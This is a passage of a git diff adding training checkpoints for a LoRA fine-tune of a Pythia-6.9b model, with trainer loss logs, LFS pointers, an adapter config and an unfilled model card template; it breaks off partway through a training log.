"grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.015936463142912e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..462516223c5ca9da463e5ef6fa4fb2467fd83a88 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5cd06bd93e1605a9a5faa83e1de4af2c11bd251a2e03be96006c1dc807cb82f4 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..2acffaf47300e2d8c8e700468129b0b6283580b5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:11f9ed4a04d3f3ddeb1fdc3607d66afc1b1a0dec071f84b2f86f455a3a7cd812 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..96d7a3f6be074e46014211fae837a521e5c5140c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd6c4f62bed5401eddcf930d960632a48c624bea715ca64cedd7d04db198b4a0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..31b434c7d46bacc0a45ac73d9e6264e373e131cd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9d8d4a20c36091528ac87a7edc5845454d614d78ad71a59c7a4ae563b2fe291f +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..6705aeaa1dce89fd46e8d7e06215a510e625038b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/trainer_state.json @@ -0,0 +1,978 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.4, + "eval_steps": 10, + "global_step": 630, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 